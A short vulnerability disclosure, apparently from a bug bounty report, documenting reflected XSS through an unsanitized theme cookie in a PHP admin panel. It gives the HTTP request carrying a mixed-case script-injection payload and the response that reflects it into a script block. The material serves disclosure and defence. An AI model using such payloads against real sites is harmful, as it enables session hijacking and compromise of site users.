Issue: Lack of input sanitization at cookie parameter leads to Reflected XSS

credit: Pankaj Kumar Thakur

Evidence:

```
GET /acp/acp.php?set_lang=en HTTP/2
Host: [redacted]
Cookie: acptheme=dark</ScRiPt><sCrIpT>alert(1)</ScRiPt>; PHPSESSID
=[redacted]
Cache-Control: max-age=0
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="100"
Sec-Ch-Ua-Mobile: ?0
```

Response

```
<script type="text/javascript">
  var languagePack = "en";
  var ace_theme = 'chrome';
  var tinymce_skin = 'oxide';
  var acptheme = "dark</ScRiPt><sCrIpT>alert(1)</ScRiPt>";
  if(acptheme === 'dark' || acptheme === 'dark_mono') {
  var ace_theme = 'twilight';
  var tinymce_skin = 'oxide-dark';
  }
</script>
```
